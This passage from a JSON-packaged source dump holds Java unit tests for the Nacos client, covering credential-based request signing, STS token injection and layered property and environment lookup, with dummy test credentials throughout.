prepareForSts();\n        resource = RequestResource.namingBuilder().setResource(\"test@@aaa\").setGroup(\"group\").build();\n        LoginIdentityContext actual = new LoginIdentityContext();\n        namingResourceInjector.doInject(resource, ramContext, actual);\n        assertEquals(4, actual.getAllKey().size());\n        assertEquals(\"test-sts-ak\", actual.getParameter(\"ak\"));\n        assertTrue(actual.getParameter(\"data\").endsWith(\"@@test@@aaa\"));\n        String expectSign = SignUtil.sign(actual.getParameter(\"data\"), \"test-sts-sk\");\n        assertEquals(expectSign, actual.getParameter(\"signature\"));\n    }\n    \n    @Test\n    void testDoInjectWithoutGroupForSts() throws Exception {\n        prepareForSts();\n        resource = RequestResource.namingBuilder().setResource(\"aaa\").setGroup(\"group\").build();\n        LoginIdentityContext actual = new LoginIdentityContext();\n        namingResourceInjector.doInject(resource, ramContext, actual);\n        assertEquals(4, actual.getAllKey().size());\n        assertEquals(\"test-sts-ak\", actual.getParameter(\"ak\"));\n        assertTrue(actual.getParameter(\"data\").endsWith(\"@@group@@aaa\"));\n        String expectSign = SignUtil.sign(actual.getParameter(\"data\"), \"test-sts-sk\");\n        assertEquals(expectSign, actual.getParameter(\"signature\"));\n    }\n    \n    @Test\n    void testDoInjectForStsWithException() throws Exception {\n        prepareForSts();\n        stsCredential.setExpiration(new Date());\n        resource = RequestResource.namingBuilder().setResource(\"aaa\").setGroup(\"group\").build();\n        LoginIdentityContext actual = new LoginIdentityContext();\n        namingResourceInjector.doInject(resource, ramContext, actual);\n        assertEquals(0, actual.getAllKey().size());\n    }\n    \n    @Test\n    void testDoInjectForV4Sign() throws Exception {\n        resource = RequestResource.namingBuilder().setResource(\"test@@aaa\").setGroup(\"group\").build();\n        LoginIdentityContext actual = new LoginIdentityContext();\n        ramContext.setRegionId(\"cn-hangzhou\");\n        namingResourceInjector.doInject(resource, ramContext, actual);\n        assertEquals(4, actual.getAllKey().size());\n        assertEquals(PropertyKeyConst.ACCESS_KEY, actual.getParameter(\"ak\"));\n        assertEquals(RamConstants.V4, actual.getParameter(RamConstants.SIGNATURE_VERSION));\n        assertTrue(actual.getParameter(\"data\").endsWith(\"@@test@@aaa\"));\n        String signatureKey = CalculateV4SigningKeyUtil.finalSigningKeyStringWithDefaultInfo(\n                PropertyKeyConst.SECRET_KEY, \"cn-hangzhou\");\n        String expectSign = SignUtil.sign(actual.getParameter(\"data\"), signatureKey);\n        assertEquals(expectSign, actual.getParameter(\"signature\"));\n    }\n    \n    private void prepareForSts() throws NoSuchFieldException, IllegalAccessException {\n        StsConfig.getInstance().setSecurityCredentialsUrl(\"test\");\n        Field field = StsCredentialHolder.class.getDeclaredField(\"stsCredential\");\n        field.setAccessible(true);\n        field.set(StsCredentialHolder.getInstance(), stsCredential);\n        stsCredential.setAccessKeyId(\"test-sts-ak\");\n        stsCredential.setAccessKeySecret(\"test-sts-sk\");\n        stsCredential.setSecurityToken(\"test-sts-token\");\n        stsCredential.setExpiration(new Date(System.currentTimeMillis() + 1000000));\n    }\n    \n    private void clearForSts() throws NoSuchFieldException, IllegalAccessException {\n        StsConfig.getInstance().setSecurityCredentialsUrl(null);\n        StsConfig.getInstance().setSecurityCredentials(null);\n        Field field = StsCredentialHolder.class.getDeclaredField(\"stsCredential\");\n        field.setAccessible(true);\n        field.set(StsCredentialHolder.getInstance(), null);\n    }\n}\n"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/auth/ram/utils/CalculateV4SigningKeyUtilTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.utils;\n\nimport com.alibaba.nacos.client.auth.ram.RamConstants;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass CalculateV4SigningKeyUtilTest {\n    \n    @Test\n    void testFinalSigningKeyStringWithException() {\n        assertThrows(RuntimeException.class,\n                () -> CalculateV4SigningKeyUtil.finalSigningKeyString(\"\", \"2021-01-01\", \"cn-hangzhou\",\n                        RamConstants.SIGNATURE_V4_PRODUCE, \"non-exist\"));\n    }\n    \n    @Test\n    void testFinalSigningKeyStringWithDefaultInfo() {\n        assertNotNull(CalculateV4SigningKeyUtil.finalSigningKeyStringWithDefaultInfo(\"\", \"cn-hangzhou\"));\n    }\n}"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/auth/ram/utils/RamUtilTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.utils;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.client.auth.ram.identify.CredentialService;\nimport com.alibaba.nacos.client.auth.ram.identify.Credentials;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\npublic class RamUtilTest {\n    \n    private Properties properties;\n    \n    @BeforeEach\n    public void setUp() throws Exception {\n        SpasAdapter.freeCredentialInstance();\n        Credentials credentials = new Credentials(\"spasAk\", \"spasSk\", \"spasNamespaceId\");\n        CredentialService.getInstance().setStaticCredential(credentials);\n        properties = new Properties();\n        properties.setProperty(PropertyKeyConst.ACCESS_KEY, \"userAk\");\n        properties.setProperty(PropertyKeyConst.SECRET_KEY, \"userSk\");\n    }\n    \n    @AfterEach\n    public void tearDown() throws Exception {\n        SpasAdapter.freeCredentialInstance();\n    }\n    \n    @Test\n    public void testGetAccessKeyWithUserAkSk() {\n        assertEquals(\"userAk\", RamUtil.getAccessKey(properties));\n        assertEquals(\"userSk\", RamUtil.getSecretKey(properties));\n    }\n    \n    @Test\n    public void testGetAccessKeyWithSpasAkSk() {\n        assertEquals(\"spasAk\", RamUtil.getAccessKey(new Properties()));\n        assertEquals(\"spasSk\", RamUtil.getSecretKey(new Properties()));\n    }\n    \n    @Test\n    public void testGetAccessKeyWithoutSpasAkSk() {\n        Properties properties1 = new Properties();\n        properties1.setProperty(PropertyKeyConst.IS_USE_RAM_INFO_PARSING, \"false\");\n        assertNull(RamUtil.getAccessKey(properties1));\n        assertNull(RamUtil.getSecretKey(properties1));\n    }\n}"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/auth/ram/utils/SignUtilTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.nio.charset.StandardCharsets;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass SignUtilTest {\n    \n    @Test\n    void testSign() throws Exception {\n        String actual = SignUtil.sign(\"aaa\", \"b\");\n        assertEquals(\"DxyaKScrqL26yXYOuHXE3OwfQ0Y=\", actual);\n    }\n    \n    @Test\n    void testSignWithException() throws Exception {\n        assertThrows(Exception.class, () -> {\n            SignUtil.sign(null, \"b\");\n        });\n    }\n    \n    @Test\n    void testSignWithException2() throws Exception {\n        assertThrows(Exception.class, () -> {\n            SignUtil.sign(\"aaa\".getBytes(StandardCharsets.UTF_8), \"b\".getBytes(StandardCharsets.UTF_8), null);\n        });\n    }\n}\n"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/auth/ram/utils/SpasAdapterTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.utils;\n\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass SpasAdapterTest {\n    \n    @Test\n    void test() {\n        assertNull(SpasAdapter.getAk());\n        assertNull(SpasAdapter.getSk());\n        Assertions.assertDoesNotThrow(() -> {\n            SpasAdapter.freeCredentialInstance();\n        });\n        \n    }\n    \n    @Test\n    void testSign() {\n        \n        assertNull(SpasAdapter.getSignHeaders(\"\", \"\", \"123\"));\n        \n        final Map<String, String> map1 = SpasAdapter.getSignHeaders(\"aa\", \"bb\", \"123\");\n        assertEquals(2, map1.size());\n        assertEquals(SpasAdapter.signWithHmacSha1Encrypt(\"bb+aa+\" + map1.get(\"Timestamp\"), \"123\"),\n                map1.get(\"Spas-Signature\"));\n        \n        final Map<String, String> map2 = SpasAdapter.getSignHeaders(\"aa\", \"\", \"123\");\n        assertEquals(2, map2.size());\n        assertEquals(SpasAdapter.signWithHmacSha1Encrypt(\"aa\" + \"+\" + map2.get(\"Timestamp\"), \"123\"),\n                map2.get(\"Spas-Signature\"));\n        \n        final Map<String, String> map3 = SpasAdapter.getSignHeaders(\"\", \"bb\", \"123\");\n        assertEquals(2, map3.size());\n        assertEquals(SpasAdapter.signWithHmacSha1Encrypt(map3.get(\"Timestamp\"), \"123\"), map3.get(\"Spas-Signature\"));\n    }\n    \n    @Test\n    void testSign2() {\n        \n        assertNull(SpasAdapter.getSignHeaders((Map) null, \"123\"));\n        \n        Map<String, String> param1 = new HashMap<>();\n        param1.put(\"tenant\", \"bb\");\n        param1.put(\"group\", \"aa\");\n        final Map<String, String> map1 = SpasAdapter.getSignHeaders(param1, \"123\");\n        assertEquals(2, map1.size());\n        assertEquals(SpasAdapter.signWithHmacSha1Encrypt(\"bb+aa+\" + map1.get(\"Timestamp\"), \"123\"),\n                map1.get(\"Spas-Signature\"));\n    }\n    \n    @Test\n    void testGetSignHeadersWithoutTenant() {\n        Map<String, String> param1 = new HashMap<>();\n        param1.put(\"group\", \"aa\");\n        final Map<String, String> map1 = SpasAdapter.getSignHeaders(param1, \"123\");\n        assertEquals(2, map1.size());\n        assertEquals(SpasAdapter.signWithHmacSha1Encrypt(\"aa+\" + map1.get(\"Timestamp\"), \"123\"),\n                map1.get(\"Spas-Signature\"));\n    }\n    \n    @Test\n    void testSignWithHmacSha1EncryptWithException() {\n        assertThrows(Exception.class, () -> {\n            SpasAdapter.signWithHmacSha1Encrypt(null, \"123\");\n        });\n    }\n}\n"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/env/NacosClientPropertiesTest.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.env;\n\nimport org.junit.jupiter.api.AfterAll;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass NacosClientPropertiesTest {\n    \n    @BeforeAll\n    static void init() {\n        System.setProperty(\"nacos.env.first\", \"jvm\");\n    }\n    \n    @AfterAll\n    static void teardown() {\n        System.clearProperty(\"nacos.env.first\");\n    }\n    \n    @Test\n    void testGetProperty() {\n        NacosClientProperties.PROTOTYPE.setProperty(\"nacos.home\", \"/home/nacos\");\n        final String value = NacosClientProperties.PROTOTYPE.getProperty(\"nacos.home\");\n        assertEquals(\"/home/nacos\", value);\n    }\n    \n    @Test\n    void testGetPropertyMultiLayer() {\n        \n        NacosClientProperties.PROTOTYPE.setProperty(\"top.layer\", \"top\");\n        \n        final NacosClientProperties layerAEnv = NacosClientProperties.PROTOTYPE.derive();\n        layerAEnv.setProperty(\"a.layer\", \"a\");\n        \n        final NacosClientProperties layerBEnv = layerAEnv.derive();\n        layerBEnv.setProperty(\"b.layer\", \"b\");\n        \n        final NacosClientProperties layerCEnv = layerBEnv.derive();\n        layerCEnv.setProperty(\"c.layer\", \"c\");\n        \n        String value = layerCEnv.getProperty(\"c.layer\");\n        assertEquals(\"c\", value);\n        \n        value = layerCEnv.getProperty(\"b.layer\");\n        assertEquals(\"b\", value);\n        \n        value = layerCEnv.getProperty(\"a.layer\");\n        assertEquals(\"a\", value);\n        \n        value = layerCEnv.getProperty(\"top.layer\");\n        assertEquals(\"top\", value);\n    }\n    \n    @Test\n    void testGetPropertyDefaultValue() {\n        final String value = NacosClientProperties.PROTOTYPE.getProperty(\"nacos.home.default\", \"/home/default_value\");\n        assertEquals(\"/home/default_value\", value);\n    }\n    \n    @Test\n    void testGetBoolean() {\n        NacosClientProperties.PROTOTYPE.setProperty(\"use.cluster\", \"true\");\n        final Boolean value = NacosClientProperties.PROTOTYPE.getBoolean(\"use.cluster\");\n        assertTrue(value);\n    }\n    \n    @Test\n    void testGetBooleanDefaultValue() {\n        final Boolean value = NacosClientProperties.PROTOTYPE.getBoolean(\"use.cluster.default\", false);\n        assertFalse(value);\n    }\n    \n    @Test\n    void testGetInteger() {\n        NacosClientProperties.PROTOTYPE.setProperty(\"max.timeout\", \"200\");\n        final Integer value = NacosClientProperties.PROTOTYPE.getInteger(\"max.timeout\");\n        assertEquals(200, value.intValue());\n    }\n    \n    @Test\n    void testGetIntegerDefaultValue() {\n        final Integer value = NacosClientProperties.PROTOTYPE.getInteger(\"max.timeout.default\", 400);\n        assertEquals(400, value.intValue());\n    }\n    \n    @Test\n    void testGetLong() {\n        NacosClientProperties.PROTOTYPE.setProperty(\"connection.timeout\", \"200\");\n        final Long value = NacosClientProperties.PROTOTYPE.getLong(\"connection.timeout\");\n        assertEquals(200L, value.longValue());\n    }\n    \n    @Test\n    void testGetLongDefault() {\n        final Long value = NacosClientProperties.PROTOTYPE.getLong(\"connection.timeout.default\", 400L);\n        assertEquals(400L, value.longValue());\n    }\n    \n    @Test\n    void setProperty() {\n        NacosClientProperties.PROTOTYPE.setProperty(\"nacos.set.property\", \"true\");\n        final String ret = NacosClientProperties.PROTOTYPE.getProperty(\"nacos.set.property\");\n        assertEquals(\"true\", ret);\n    }\n    \n    @Test\n    void setPropertyWithScope() {\n        \n        final NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        properties.setProperty(\"nacos.set.property.scope\", \"config\");\n        \n        String ret = NacosClientProperties.PROTOTYPE.getProperty(\"nacos.set.property.scope\");\n        assertNull(ret);\n        \n        ret = properties.getProperty(\"nacos.set.property.scope\");\n        assertEquals(\"config\", ret);\n    }\n    \n    @Test\n    void testAddProperties() {\n        Properties properties = new Properties();\n        properties.setProperty(\"nacos.add.properties\", \"true\");\n        \n        NacosClientProperties.PROTOTYPE.addProperties(properties);\n        \n        final String ret = NacosClientProperties.PROTOTYPE.getProperty(\"nacos.add.properties\");\n        \n        assertEquals(\"true\", ret);\n    }\n    \n    @Test\n    void testAddPropertiesWithScope() {\n        \n        Properties properties = new Properties();\n        properties.setProperty(\"nacos.add.properties.scope\", \"config\");\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive();\n        nacosClientProperties.addProperties(properties);\n        \n        String ret = NacosClientProperties.PROTOTYPE.getProperty(\"nacos.add.properties.scope\");\n        assertNull(ret);\n        \n        ret = nacosClientProperties.getProperty(\"nacos.add.properties.scope\");\n        assertEquals(\"config\", ret);\n        \n    }\n    \n    @Test\n    void testTestDerive() {\n        Properties properties = new Properties();\n        properties.setProperty(\"nacos.derive.properties.scope\", \"derive\");\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        \n        final String value = nacosClientProperties.getProperty(\"nacos.derive.properties.scope\");\n        \n        assertEquals(\"derive\", value);\n        \n    }\n    \n    @Test\n    void testContainsKey() {\n        NacosClientProperties.PROTOTYPE.setProperty(\"nacos.contains.key\", \"true\");\n        \n        boolean ret = NacosClientProperties.PROTOTYPE.containsKey(\"nacos.contains.key\");\n        assertTrue(ret);\n        \n        ret = NacosClientProperties.PROTOTYPE.containsKey(\"nacos.contains.key.in.sys\");\n        assertFalse(ret);\n    }\n    \n    @Test\n    void testContainsKeyMultiLayers() {\n        \n        NacosClientProperties.PROTOTYPE.setProperty(\"top.layer\", \"top\");\n        \n        final NacosClientProperties layerAEnv = NacosClientProperties.PROTOTYPE.derive();\n        layerAEnv.setProperty(\"a.layer\", \"a\");\n        \n        final NacosClientProperties layerBEnv = layerAEnv.derive();\n        layerBEnv.setProperty(\"b.layer\", \"b\");\n        \n        final NacosClientProperties layerCEnv = layerBEnv.derive();\n        layerCEnv.setProperty(\"c.layer\", \"c\");\n        \n        boolean exist = layerCEnv.containsKey(\"c.layer\");\n        assertTrue(exist);\n        \n        exist = layerCEnv.containsKey(\"b.layer\");\n        assertTrue(exist);\n        \n        exist = layerCEnv.containsKey(\"a.layer\");\n        assertTrue(exist);\n        \n        exist = layerCEnv.containsKey(\"top.layer\");\n        assertTrue(exist);\n        \n    }\n    \n    @Test\n    void testContainsKeyWithScope() {\n        NacosClientProperties.PROTOTYPE.setProperty(\"nacos.contains.global.scope\", \"global\");\n        final NacosClientProperties namingProperties = NacosClientProperties.PROTOTYPE.derive();\n        namingProperties.setProperty(\"nacos.contains.naming.scope\", \"naming\");\n        \n        boolean ret = NacosClientProperties.PROTOTYPE.containsKey(\"nacos.contains.global.scope\");\n        assertTrue(ret);\n        \n        ret = NacosClientProperties.PROTOTYPE.containsKey(\"nacos.contains.naming.scope\");\n        assertFalse(ret);\n        \n        ret = namingProperties.containsKey(\"nacos.contains.naming.scope\");\n        assertTrue(ret);\n        \n        ret = namingProperties.containsKey(\"nacos.contains.global.scope\");\n        assertTrue(ret);\n        \n    }\n    \n    @Test\n    void testAsProperties() {\n        NacosClientProperties.PROTOTYPE.setProperty(\"nacos.as.properties\", \"true\");\n        final Properties properties = NacosClientProperties.PROTOTYPE.asProperties();\n        assertNotNull(properties);\n        assertEquals(\"true\", properties.getProperty(\"nacos.as.properties\"));\n    }\n    \n    @Test\n    void testAsPropertiesWithScope() {\n        \n        NacosClientProperties.PROTOTYPE.setProperty(\"nacos.as.properties.global.scope\", \"global\");\n        NacosClientProperties.PROTOTYPE.setProperty(\"nacos.server.addr.scope\", \"global\");\n        \n        final NacosClientProperties configProperties = NacosClientProperties.PROTOTYPE.derive();\n        configProperties.setProperty(\"nacos.server.addr.scope\", \"config\");\n        \n        final Properties properties = configProperties.asProperties();\n        assertNotNull(properties);\n        \n        String ret = properties.getProperty(\"nacos.as.properties.global.scope\");\n        assertEquals(\"global\", ret);\n        \n        ret = properties.getProperty(\"nacos.server.addr.scope\");\n        assertEquals(\"config\", ret);\n    }\n    \n    @Test\n    void testGetPropertyWithScope() {\n        \n        NacosClientProperties.PROTOTYPE.setProperty(\"nacos.global.scope\", \"global\");\n        \n        final NacosClientProperties configProperties = NacosClientProperties.PROTOTYPE.derive();\n        configProperties.setProperty(\"nacos.config.scope\", \"config\");\n        \n        final NacosClientProperties namingProperties = NacosClientProperties.PROTOTYPE.derive();\n        namingProperties.setProperty(\"nacos.naming.scope\", \"naming\");\n        \n        String ret = NacosClientProperties.PROTOTYPE.getProperty(\"nacos.global.scope\");\n        assertEquals(\"global\", ret);\n        \n        ret = NacosClientProperties.PROTOTYPE.getProperty(\"nacos.config.scope\");\n        assertNull(ret);\n        \n        ret = NacosClientProperties.PROTOTYPE.getProperty(\"nacos.naming.scope\");\n        assertNull(ret);\n        \n        ret = configProperties.getProperty(\"nacos.config.scope\");\n        assertEquals(\"config\", ret);\n        ret = configProperties.getProperty(\"nacos.global.scope\");\n        assertEquals(\"global\", ret);\n        ret = configProperties.getProperty(\"nacos.naming.scope\");\n        assertNull(ret);\n        \n        ret = namingProperties.getProperty(\"nacos.naming.scope\");\n        assertEquals(\"naming\", ret);\n        ret = namingProperties.getProperty(\"nacos.global.scope\");\n        assertEquals(\"global\", ret);\n        ret = namingProperties.getProperty(\"nacos.config.scope\");\n        assertNull(ret);\n        \n    }\n    \n    @Test\n    void testGetPropertyFrom() {\n        System.setProperty(\"nacos.home.default.test\", \"/home/jvm_args\");\n        NacosClientProperties.PROTOTYPE.setProperty(\"nacos.home.default.test\", \"/home/properties_args\");\n        \n        assertEquals(\"/home/jvm_args\",\n                NacosClientProperties.PROTOTYPE.getPropertyFrom(SourceType.JVM, \"nacos.home.default.test\"));\n        assertEquals(\"/home/properties_args\",\n                NacosClientProperties.PROTOTYPE.getPropertyFrom(SourceType.PROPERTIES, \"nacos.home.default.test\"));\n        assertEquals(NacosClientProperties.PROTOTYPE.getPropertyFrom(null, \"nacos.home.default.test\"),\n                NacosClientProperties.PROTOTYPE.getProperty(\"nacos.home.default.test\"));\n    }\n    \n}\n"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/env/SearchablePropertiesTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.env;\n\nimport com.alibaba.nacos.client.constant.Constants;\nimport org.junit.jupiter.api.AfterAll;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\n/**\n * Additional test cases for SearchableProperties.\n *\n * <p> Common cases see {@link NacosClientPropertiesTest}.</p>\n */\nclass SearchablePropertiesTest {\n    \n    Method initMethod;\n    \n    @BeforeAll\n    static void init() {\n        System.setProperty(Constants.SysEnv.NACOS_ENV_FIRST, \"jvm\");\n    }\n    \n    @AfterAll\n    static void teardown() {\n        System.clearProperty(Constants.SysEnv.NACOS_ENV_FIRST);\n    }\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        initMethod = SearchableProperties.class.getDeclaredMethod(\"init\");\n        initMethod.setAccessible(true);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        init();\n        initMethod.invoke(null);\n    }\n    \n    @Test\n    void testInitWithInvalidOrder() throws IllegalAccessException, InvocationTargetException {\n        System.setProperty(Constants.SysEnv.NACOS_ENV_FIRST, \"invalid\");\n        List<SourceType> order = (List<SourceType>) initMethod.invoke(null);\n        assertOrder(order, SourceType.PROPERTIES, SourceType.JVM, SourceType.ENV);\n    }\n    \n    @Test\n    void testInitWithoutSpecifiedOrder() throws IllegalAccessException, InvocationTargetException {\n        System.clearProperty(Constants.SysEnv.NACOS_ENV_FIRST);\n        List<SourceType> order = (List<SourceType>) initMethod.invoke(null);\n        assertOrder(order, SourceType.PROPERTIES, SourceType.JVM, SourceType.ENV);\n    }\n    \n    private void assertOrder(List<SourceType> order, SourceType... sourceTypes) {\n        assertEquals(sourceTypes.length, order.size());\n        for (int i = 0; i < sourceTypes.length; i++) {\n            assertEquals(sourceTypes[i], order.get(i));\n        }\n    }\n    \n    @Test\n    void testGetPropertyFromEnv() {\n        System.setProperty(\"testFromSource\", \"jvm\");\n        NacosClientProperties properties = SearchableProperties.INSTANCE.derive();\n        properties.setProperty(\"testFromSource\", \"properties\");\n        assertNull(properties.getPropertyFrom(SourceType.ENV, \"testFromSource\"));\n    }\n    \n    @Test\n    void testGetPropertyFromUnknown() {\n        System.setProperty(\"testFromSource\", \"jvm\");\n        NacosClientProperties properties = SearchableProperties.INSTANCE.derive();\n        properties.setProperty(\"testFromSource\", \"properties\");\n        assertEquals(properties.getProperty(\"testFromSource\"),\n                properties.getPropertyFrom(SourceType.UNKNOWN, \"testFromSource\"));\n    }\n}"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/env/SystemEnvPropertySourceTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.env;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\n/**\n * Additional test cases for SystemEnvPropertySource.\n *\n * <p> Common cases see {@link NacosClientPropertiesTest}.</p>\n */\nclass SystemEnvPropertySourceTest {\n    \n    SystemEnvPropertySource systemEnvPropertySource;\n    \n    private Map<String, String> mockEnvMap;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        systemEnvPropertySource = new SystemEnvPropertySource();\n        mockEnvMap = new HashMap<>();\n        Field envField = SystemEnvPropertySource.class.getDeclaredField(\"env\");\n        envField.setAccessible(true);\n        envField.set(systemEnvPropertySource, mockEnvMap);\n        mockEnvMap.put(\"testcase1\", \"value1\");\n        mockEnvMap.put(\"test_case_2\", \"value2\");\n        mockEnvMap.put(\"TESTCASE3\", \"value3\");\n        mockEnvMap.put(\"TEST_CASE_4\", \"value4\");\n    }\n    \n    @Test\n    void testGetEnvForLowerCaseKey() {\n        assertEquals(\"value1\", systemEnvPropertySource.getProperty(\"testcase1\"));\n    }\n    \n    @Test\n    void testGetEnvForLowerCaseKeyWithDot() {\n        assertEquals(\"value2\", systemEnvPropertySource.getProperty(\"test.case.2\"));\n    }\n    \n    @Test\n    void testGetEnvForLowerCaseKeyWithHyphen() {\n        assertEquals(\"value2\", systemEnvPropertySource.getProperty(\"test-case-2\"));\n    }\n    \n    @Test\n    void testGetEnvForLowerCaseKeyWithHyphenAndDot() {\n        assertEquals(\"value2\", systemEnvPropertySource.getProperty(\"test.case-2\"));\n    }\n    \n    @Test\n    void testGetEnvForUpperCaseKey() {\n        assertEquals(\"value3\", systemEnvPropertySource.getProperty(\"TESTCASE3\"));\n    }\n    \n    @Test\n    void testGetEnvForUpperCaseKeyWithDot() {\n        assertEquals(\"value4\", systemEnvPropertySource.getProperty(\"TEST.CASE.4\"));\n    }\n    \n    @Test\n    void testGetEnvForUpperCaseKeyWithHyphen() {\n        assertEquals(\"value4\", systemEnvPropertySource.getProperty(\"TEST-CASE-4\"));\n    }\n    \n    @Test\n    void testGetEnvForUpperCaseKeyWithHyphenAndDot() {\n        assertEquals(\"value4\", systemEnvPropertySource.getProperty(\"TEST_CASE.4\"));\n    }\n}"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/env/convert/CompositeConverterTest.java",
